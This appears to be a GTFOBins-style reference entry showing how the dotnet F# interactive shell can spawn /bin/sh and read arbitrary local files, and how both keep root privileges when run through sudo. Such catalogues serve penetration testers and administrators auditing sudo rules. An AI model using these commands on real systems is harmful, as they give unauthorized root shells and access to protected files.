dotnet

Shell

This executable can spawn an interactive system shell.
  1. This function can be performed by any unprivileged user.
    dotnet fsi
    System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    dotnet fsi
    System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;

File read

This executable can read data from local files.
  1. This function can be performed by any unprivileged user.
    dotnet fsi
    System.IO.File.ReadAllText("/path/to/input-file");;
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    dotnet fsi
    System.IO.File.ReadAllText("/path/to/input-file");;